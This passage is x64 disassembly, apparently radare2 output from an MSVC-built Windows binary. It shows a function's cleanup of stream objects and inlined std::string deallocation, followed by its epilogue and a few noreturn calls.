mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.14000acf0
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x358]
cmp rdx, r13
jbe 0x14001632e
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016329
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016437
call fcn.14007fd28
mov rdx, qword [rbp - 0x50]
cmp rdx, r13
jbe 0x140016368
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016363
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016437
call fcn.14007fd28
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], r13
mov byte [rbp - 0x68], 0
cmp rdx, r13
jbe 0x1400163b0
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400163ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016437
call fcn.14007fd28
mov r8, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x60], 0
test rcx, rcx
je 0x14001640a
mov rdx, qword [rbp - 0x70]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400163f4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016437
call fcn.14007fd28
mov r8, qword [rbp - 0x48]
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
test r8, r8
je 0x140016446
mov rdx, qword [rbp - 0x38]
mov rax, r8
sub rdx, r8
cmp rdx, 0x1000
jb 0x14001643e
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001643e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.14007fd28
mov r15, qword [rsp + 0x468]
mov r14, qword [rsp + 0x470]
mov r12, qword [rsp + 0x478]
add rsp, 0x480
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000e610
int3
call fcn.14000e260
int3
call fcn.14000e610
int3
vzeroupper
call fcn.14000e610
int3
call fcn.14000e610
int3